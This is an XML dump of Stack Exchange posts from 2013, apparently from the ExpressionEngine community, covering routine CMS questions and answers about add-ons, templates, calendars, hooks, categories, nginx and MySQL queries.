  <row Id="13200" PostTypeId="1" AcceptedAnswerId="13215" CreationDate="2013-08-27T19:26:28.340" Score="0" ViewCount="252" Body="&lt;p&gt;I have about 250 blog entries, each with a standard EE file field that points to a file on the same local server EE is running on. I've installed the &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;Assets&lt;/a&gt; add-on and set up an external source (an Amazon S3 bucket). I converted that standard file field to an Assets field pointing at that S3 bucket and it's working beautifully!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a new blog post the file uploads to S3 without a hitch. Now onto the old posts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is to tell the Assets field to look for the image on S3 and not in the local filepath. I can manually move those images into place on S3, but I don't know what to do on the EE side to update the DB so Assets knows where to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-28T05:50:07.730" Title="Converting standard file field to an Assets field with a remote source" Tags="|assets|file-uploads|database|s3|aws|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-30T18:14:16.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="13201" PostTypeId="2" ParentId="12192" CreationDate="2013-08-27T20:02:26.537" Score="1" Body="&lt;p&gt;I have seen other instances where people did not want to &quot;vote up&quot; the rating itself, but they wanted to &quot;like&quot; the product itself that you may be able to rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get this functionality, people have used the Solspace Favorites plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thought I would add this info in case people run across this need too.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-27T20:02:26.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13202" PostTypeId="1" CreationDate="2013-08-27T20:19:00.990" Score="1" ViewCount="127" Body="&lt;p&gt;I've done something a little silly, I've been trying to put cookie consent module into a site. Somehow I've activated it, but I have no way to accept cookies and I cannot now log into the admin area of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to disable/uninstall plugins via Mysql database or some other way?&lt;/p&gt;&#xA;" OwnerUserId="1414" LastEditorUserId="1760" LastEditDate="2016-03-22T13:41:26.743" LastActivityDate="2016-03-22T13:41:26.743" Title="Cookie Consent Module locked me out" Tags="|login|cookies|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13204" PostTypeId="1" AcceptedAnswerId="13205" CreationDate="2013-08-27T20:38:01.787" Score="2" ViewCount="230" Body="&lt;p&gt;I've created a custom status group in EE 2.6.1. I'd like to use my own statuses (draft, ready, send, sent) and I want to remove &quot;open&quot; and &quot;closed&quot;, or rename them. What's the easiest way to get rid of the default open and closed status choices?&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-08-27T20:50:29.187" Title="How do I hide or delete &quot;open&quot; and &quot;closed&quot; statuses from a custom status group?" Tags="|status|delete|custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13205" PostTypeId="2" ParentId="13204" CreationDate="2013-08-27T20:50:29.187" Score="3" Body="&lt;p&gt;You can't delete those as open is a default status parameter for channel entries. What you can do is create your custom status, and only give your client access to the custom statuses. This way Open and Close never show up. &lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-27T20:50:29.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13206" PostTypeId="2" ParentId="13187" CreationDate="2013-08-27T21:01:41.233" Score="2" Body="&lt;p&gt;Using SQL to remove entries means you also have to do extra clean up on relationship tables and categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bypass the input limits by appending the appropriate query string parameters to the address of the edit screen. For example, go to Publis &gt; Edit &gt; Your Channel. Then append the following to the url: &amp;amp;perpage=5&amp;amp;status=closed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should get only 5 entries who's status is closed. You could change this to 500 I suppose to do what you're asking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would limit this to 500 or so to prevent the server from timing out.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-N&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-27T21:01:41.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13207" PostTypeId="2" ParentId="13045" CreationDate="2013-08-27T21:55:06.447" Score="0" Body="&lt;p&gt;Tried parse=&quot;inward&quot; on the switchee tag which caused nothing to return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also tried parse_depth=&quot;2&quot; on the exp:stash:set tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this I stripped out the stash:program_sponsor from stash:content and made more separation rather than setting a stash variable within a variable expecting then to grab it later in the same variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed my layout to include all the individual variables. What I was hoping to accomplish is narrow everything down to 1 variable which would have been stash:content.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-08-27T21:55:06.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13208" PostTypeId="2" ParentId="12478" CreationDate="2013-08-27T22:00:54.567" Score="2" Body="&lt;p&gt;I think Low Search might do what you want: &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-relationships&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search/docs/tags#form-tag-relationships&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-27T22:00:54.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13209" PostTypeId="1" AcceptedAnswerId="13210" CreationDate="2013-08-27T22:47:28.900" Score="0" ViewCount="94" Body="&lt;p&gt;I've been going off of the custom mini calendar found at the bottom of the page here: &lt;a href=&quot;http://www.solspace.com/docs/calendar/mini/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/calendar/mini/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is get a complete mini month to show but right now, with the code below, I'm only receiving the week in which 'today' resides (refer to this picture: &lt;a href=&quot;https://i.stack.imgur.com/OVZcs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/OVZcs.png&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code that I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;columns four&quot;&amp;gt;&#xA;          {exp:calendar:cal}&#xA;            {!-- Custom mini calendar --}&#xA;            {display_each_month}&#xA;              &amp;lt;table&amp;gt;&#xA;                &amp;lt;thead&amp;gt;&#xA;&#xA;                  {!-- Display Month and Prev/Next month nav --}&#xA;                  {!-- TODO: segment properly to new cal pages --}&#xA;                  &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th colspan=&quot;1&quot;&amp;gt;&#xA;                        &amp;lt;a id=&quot;prev_month&quot; class=&quot;icon left&quot; href=&quot;{path='calendar/mini'}/{prev_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;&amp;amp;lt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th colspan=&quot;5&quot; id=&quot;month_title&quot;&amp;gt;&#xA;                      &amp;lt;a href=&quot;{path='calendar/mini'}/{month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th colspan=&quot;1&quot;&amp;gt;&#xA;                      &amp;lt;a id=&quot;next_month&quot; class=&quot;icon right&quot; href=&quot;{path='calendar/mini'}/{next_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                  &amp;lt;/tr&amp;gt;&#xA;&#xA;                  {!-- Display week day letter headding ( S M T W T F S ) --}&#xA;                  &amp;lt;tr&amp;gt;&#xA;                    {display_each_day_of_week}&#xA;                      &amp;lt;th&amp;gt;&#xA;                        {day_of_week_one}&#xA;                      &amp;lt;/th&amp;gt;&#xA;                    {/display_each_day_of_week}&#xA;                  &amp;lt;/tr&amp;gt;&#xA;&#xA;                &amp;lt;/thead&amp;gt;&#xA;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                  {display_each_week}&#xA;                  &amp;lt;tr&amp;gt;&#xA;&#xA;                    {display_each_day}&#xA;                    &amp;lt;td&amp;gt;&#xA;                      {!-- as stated above, this is only showing the week for which the date today resides in --}&#xA;                      {day}&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    {/display_each_day}&#xA;&#xA;                  &amp;lt;/tr&amp;gt;&#xA;                  {/display_each_week}&#xA;                &amp;lt;/tbody&amp;gt;&#xA;&#xA;              &amp;lt;/table&amp;gt;&#xA;            {/display_each_month}&#xA;          {/exp:calendar:cal}&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-08-27T23:04:56.793" Title="Solspace custom mini calendar" Tags="|solspace|solspace-calendar|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13210" PostTypeId="2" ParentId="13209" CreationDate="2013-08-27T23:04:56.793" Score="1" Body="&lt;p&gt;Try adding these parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&quot;year-month-01&quot;&#xA;date_range_end=&quot;year-month-last&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without them the cal tag will assume the start date is today.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-27T23:04:56.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13211" PostTypeId="1" AcceptedAnswerId="13259" CreationDate="2013-08-27T23:17:31.100" Score="2" ViewCount="156" Body="&lt;p&gt;So Im sticking with EE1 but I wanted to know if anyone has updated or has any information on updating EE1 to nginx from apache?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="1900" LastEditDate="2013-08-29T07:15:01.623" LastActivityDate="2013-08-29T07:15:01.623" Title="ExpressionEngine 1.6 x Nginx" Tags="|ee1|server|nginx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13212" PostTypeId="1" CreationDate="2013-08-28T03:13:32.860" Score="4" ViewCount="145" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assets&lt;/a&gt; 2.1.4, &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow noreferrer&quot;&gt;WYGWAM&lt;/a&gt; 2.7.1  and EE 2.5.5.  I have a WYGWAM field, and two assets directories, one local and one Amazon S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Assets interface, I can move a file from local to S3 just &lt;a href=&quot;http://pixelandtonic.com/blog/assets2&quot; rel=&quot;nofollow noreferrer&quot;&gt;by dragging&lt;/a&gt; (awesome!) and any Assets field gets updated automatically, even if it's within Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, any images used in the WYGWAM field, they don't get updated to point to the new location (although other questions here like &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5779/assets-and-wygwam-2-7&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6994/is-it-possible-to-convert-an-ee-file-upload-path-to-assets-s3?rq=1&quot;&gt;this&lt;/a&gt; indicate that they should). In the WYGWAM field, the assets I add are appearing just as raw URLs, not as {assets} tags or anything like that. Sigh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I move files within Assets, and have the WYGWAM fields still point to their proper location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="480" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-09-01T07:42:22.910" Title="Assets used in WYGWAM fields don't update when file is moved" Tags="|assets|wygwam|pixelandtonic|s3|amazon|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13213" PostTypeId="1" CreationDate="2013-08-28T03:29:13.733" Score="1" ViewCount="87" Body="&lt;p&gt;I am trying to implement a multilanguage site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a hook handler for the hook &lt;code&gt;sessions_start&lt;/code&gt; that is supposed to set the language for a page. Here are the lines of code from the hook to change the language that I have tried.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['language'] = 'xxxxx';&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['default_language'] = 'xxxxx';&#xA;&#xA;$this-&amp;gt;user_lang = &quot;xxxxx&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But none of them worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to change the language in a hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Tried this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function do_sessions_start($session_object)&#xA;{&#xA; ....&#xA; $session_object-&amp;gt;userdata['language'] = &quot;xxxxx&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems it only works if the user is logged out. If logged in, the preference in the localization settings seems to overwrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to overwrite that.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-28T11:37:28.210" LastActivityDate="2013-10-02T23:51:33.457" Title="Changing languages in sessions_start hook" Tags="|multi-language|hook|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13214" PostTypeId="1" CreationDate="2013-08-28T03:46:00.583" Score="1" ViewCount="277" Body="&lt;p&gt;I just recently updated my DV server (media temple) to their new infrastructure DV4.0. Most recently I've been experiencing latency of more than 8s to load my site or any site on my server. After further investigation, I identified an excessive RAM usage on my server which was causing absurd latency and my site(s) to time out at load time. It turns out that the new media temple infrastructure comes with NGINX running and installed instead of Apache. Here it is what the error log shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/iZ5yizGg&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/iZ5yizGg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/PzSsYKNS&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/PzSsYKNS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem, in my mediocre understanding, is that EE doesn't like NGINX so I'm not sure what to do at this point. I have the option to install apache or to try to configure NGINX. NGINX seems to be very performant when it comes to heavy traffic. I'm wondering if anyone here has run into this issue and what the possible solution is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Juliano&lt;/p&gt;&#xA;" OwnerUserId="1961" LastEditorUserId="27" LastEditDate="2013-08-28T09:44:45.747" LastActivityDate="2013-08-28T09:44:45.747" Title="Expression Engine and NGINX" Tags="|performance|apache|nginx|media-temple|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13215" PostTypeId="2" ParentId="13200" CreationDate="2013-08-28T05:50:07.730" Score="2" Body="&lt;p&gt;All you have to do is move the files to S3 from within Assets’ File Manager itself. If you do that, all of your existing data will automatically start pointing to the new location on S3.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-28T05:50:07.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13216" PostTypeId="1" CreationDate="2013-08-28T07:47:39.383" Score="2" ViewCount="113" Body="&lt;p&gt;Can anyone help me with URL rewriting using Solspace SuperSearch as our SEO guys have suggested that these could be improved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have 5 dropdowns for make, model, fuel type, min price and max price. The form uses POST. Examples of the search results generated pages are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blank Form&lt;/strong&gt;&#xA;&lt;code&gt;http://www.motors.coop/search/results/search&amp;amp;cf_make=&amp;amp;cf_fuel=&amp;amp;cf_price-from=0&amp;amp;cf_price-to=50001/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make Only&lt;/strong&gt;&#xA;&lt;code&gt;http://www.motors.coop/search/results/search&amp;amp;cf_make=Audi&amp;amp;cf_model=&amp;amp;cf_fuel=&amp;amp;cf_price-from=0&amp;amp;cf_price-to=50001/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Diesel Only&lt;/strong&gt;&#xA;&lt;code&gt;http://www.motors.coop/search/results/search&amp;amp;cf_make=&amp;amp;cf_fuel=Diesel&amp;amp;cf_price-from=0&amp;amp;cf_price-to=50001/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard stuff, you'll agree. What our SEO company has suggested that these be re-written to something like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.motors.coop/search/bmw/diesel/5001/18000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree that these are cleaner - is there a regex someone can suggest that can achieve this? The big issue is a user may not necessarily choose &lt;strong&gt;&lt;em&gt;anything&lt;/em&gt;&lt;/strong&gt; from &lt;strong&gt;&lt;em&gt;any&lt;/em&gt;&lt;/strong&gt; of the dropdowns. In this case, can the URL be something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.motors.coop/search/all/all/all/1/100000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="65" LastEditorUserId="27" LastEditDate="2013-08-28T09:45:09.590" LastActivityDate="2013-09-27T12:49:45.060" Title="Solspace SuperSearch and URL Rewrites" Tags="|search|url|solspace|supersearch|rewrite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13217" PostTypeId="1" AcceptedAnswerId="13244" CreationDate="2013-08-28T07:51:47.957" Score="2" ViewCount="125" Body="&lt;p&gt;is there an easy way to show two EE categories in a list?&#xA;let's say i have &lt;em&gt;agenda/C3&lt;/em&gt; and &lt;em&gt;agenda/C9&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can i combine this to &lt;em&gt;agenda/C3&amp;amp;C9&lt;/em&gt; (this obviously doesn't work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(my problem: the C3 is a default category and should always be showed, even if you select another category)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers,&#xA;dave&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-08-29T16:07:10.893" Title="How can i show entries from two categories?" Tags="|categories|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13218" PostTypeId="2" ParentId="13217" CreationDate="2013-08-28T08:05:05.493" Score="4" Body="&lt;p&gt;Have you tried category=&quot;&quot; in your channel?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{channels}&quot; category=&quot;3|9&quot; dynamic=&quot;yes&quot;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try low seg2cat&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...where n is the segment number. {segment_category_ids} will return&#xA;  an inclusive stack of all found category ids, for example: 4&amp;amp;12.&#xA;  {segment_category_ids_piped} will return an exclusive list: 4|12.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-08-28T08:05:05.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13223" PostTypeId="1" CreationDate="2013-08-28T09:05:45.347" Score="2" ViewCount="356" Body="&lt;p&gt;I am redirecting a user to a custom template after they submit a form.&#xA;I'd like to include their name on the thank you page, but as it's a redirect, I can't get any form data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried editing this line on mod.forms.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form['return'] = $form['form_settings']['return_url'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form['return'] = '/mytmeplategroup/thankyou/' . ee()-&amp;gt;input-&amp;gt;post('name_first');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as the return URL is generated BEFORE the form is submitted, this is clearly the wrong answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I pass custom variables to a new template (worst case, just a form submission entry Id and I can go get the data perhaps?)&lt;/p&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2013-09-27T13:49:51.423" Title="forms (devdemon) and redirects" Tags="|templates|forms|devdemon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13224" PostTypeId="1" CreationDate="2013-08-28T09:42:09.093" Score="1" ViewCount="2393" Body="&lt;p&gt;i'm finishing an EE website that contains a codeigniter intranet part. two setups, two databases. runs smooth.&#xA;now i want to include some codeigniter php files into EE.&#xA;was thinking to do so via php include, but now it seems that including codeigniter doesn't work for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;include_once './photogallery/index.php'; // works perfect&#xA;include_once './CodeigniterIntranet/photogallery/show'; // failed to open stream: No such file or directory&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any advice?&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-08-28T11:02:52.153" Title="include_once from codeigniter in EE template" Tags="|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13225" PostTypeId="2" ParentId="13217" CreationDate="2013-08-28T10:02:29.713" Score="0" Body="&lt;p&gt;this is how i solved it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;separate category template starting with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$uri = $_SERVER['REQUEST_URI'];&#xA;$pieces = explode(&quot;/&quot;, $uri);&#xA;$lastsegment = $pieces[4];&#xA;$catid = substr($lastsegment, 1);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then the tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;agenda&quot; status=&quot;open&quot; limit=&quot;50&quot; category=&quot;9|&amp;lt;?php echo $catid ?&amp;gt;&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot; start_on=&quot;{current_time format='%Y-%m-%d 00:00'}&quot; show_future_entries=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and php enabled on input,&#xA;9 is the category id that has to be showed by default&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-08-28T10:02:29.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13226" PostTypeId="2" ParentId="13223" CreationDate="2013-08-28T10:51:30.223" Score="1" Body="&lt;p&gt;I dunno what Forms is doing with &lt;code&gt;return_url&lt;/code&gt;, but could you do something with JavaScript in the generated form's &lt;code&gt;onsubmit&lt;/code&gt; event?&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2013-08-28T10:51:30.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13227" PostTypeId="2" ParentId="13224" CreationDate="2013-08-28T11:02:52.153" Score="1" Body="&lt;p&gt;Do you really have a php file named &lt;code&gt;./CodeigniterIntranet/photogallery/show&lt;/code&gt; (without the &lt;code&gt;.php&lt;/code&gt; extension)?&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2013-08-28T11:02:52.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13228" PostTypeId="1" AcceptedAnswerId="13231" CreationDate="2013-08-28T11:28:45.677" Score="1" ViewCount="1020" Body="&lt;p&gt;Wanted to ask if anyone can help me with (code or commands to use) an sql query to count how many times the question mark character appears in table *exp_comments*, field &lt;em&gt;comment&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-08-28T12:26:53.990" Title="SQL query to count question marks in comment field?" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13229" PostTypeId="2" ParentId="13195" CreationDate="2013-08-28T11:50:49.320" Score="1" Body="&lt;p&gt;Yes, try using the events tag instead, inside which you can use {occurrences}.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-08-28T11:50:49.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13230" PostTypeId="2" ParentId="12300" CreationDate="2013-08-28T12:02:59.767" Score="1" Body="&lt;p&gt;Re-download WYGWAM and try it again. There's a missing or corrupt file in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Channel Images, make sure you add the WYGWAM plugin to the Channel Images themes directory or you'll get a similar error.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-28T12:02:59.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13231" PostTypeId="2" ParentId="13228" CreationDate="2013-08-28T12:26:53.990" Score="3" Body="&lt;p&gt;To get a total of all occurrences across all comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SUM(LENGTH(comment) - LENGTH(REPLACE(comment, '?', ''))) AS occurrences FROM exp_comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the count for each comment in a query result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT LENGTH(comment) - LENGTH(REPLACE(comment, '?', '')) AS occurrences FROM exp_comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(MySQL doesn't have a specific function for this, but I found this clever technique - which takes the field's character count and subtracts its count with all of your target character removed - &lt;a href=&quot;http://pisceansheart.wordpress.com/2008/04/15/count-occurrence-of-character-in-a-string-using-mysql/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-28T12:26:53.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13232" PostTypeId="2" ParentId="13186" CreationDate="2013-08-28T12:37:24.847" Score="1" Body="&lt;p&gt;These special variables are only used in the Member module and Search module on the front-end - they won't be parsed anywhere else. Why, I do not know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see what they correspond with, take a look at this snippet from the Search module code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Parse lang variables&#xA;        $swap = array(&#xA;            'lang:total_search_results' =&amp;gt;  lang('search_total_results'),&#xA;            'lang:search_engine'        =&amp;gt;  lang('search_engine'),&#xA;            'lang:search_results'       =&amp;gt;  lang('search_results'),&#xA;            'lang:search'               =&amp;gt;  lang('search'),&#xA;            'lang:title'                =&amp;gt;  lang('search_title'),&#xA;            'lang:channel'              =&amp;gt;  lang('search_channel'),&#xA;            'lang:excerpt'              =&amp;gt;  lang('search_excerpt'),&#xA;            'lang:author'               =&amp;gt;  lang('search_author'),&#xA;            'lang:date'                 =&amp;gt;  lang('search_date'),&#xA;            'lang:total_comments'       =&amp;gt;  lang('search_total_comments'),&#xA;            'lang:recent_comments'      =&amp;gt;  lang('search_recent_comment_date'),&#xA;            'lang:keywords'             =&amp;gt;  lang('search_keywords')&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-28T12:37:24.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
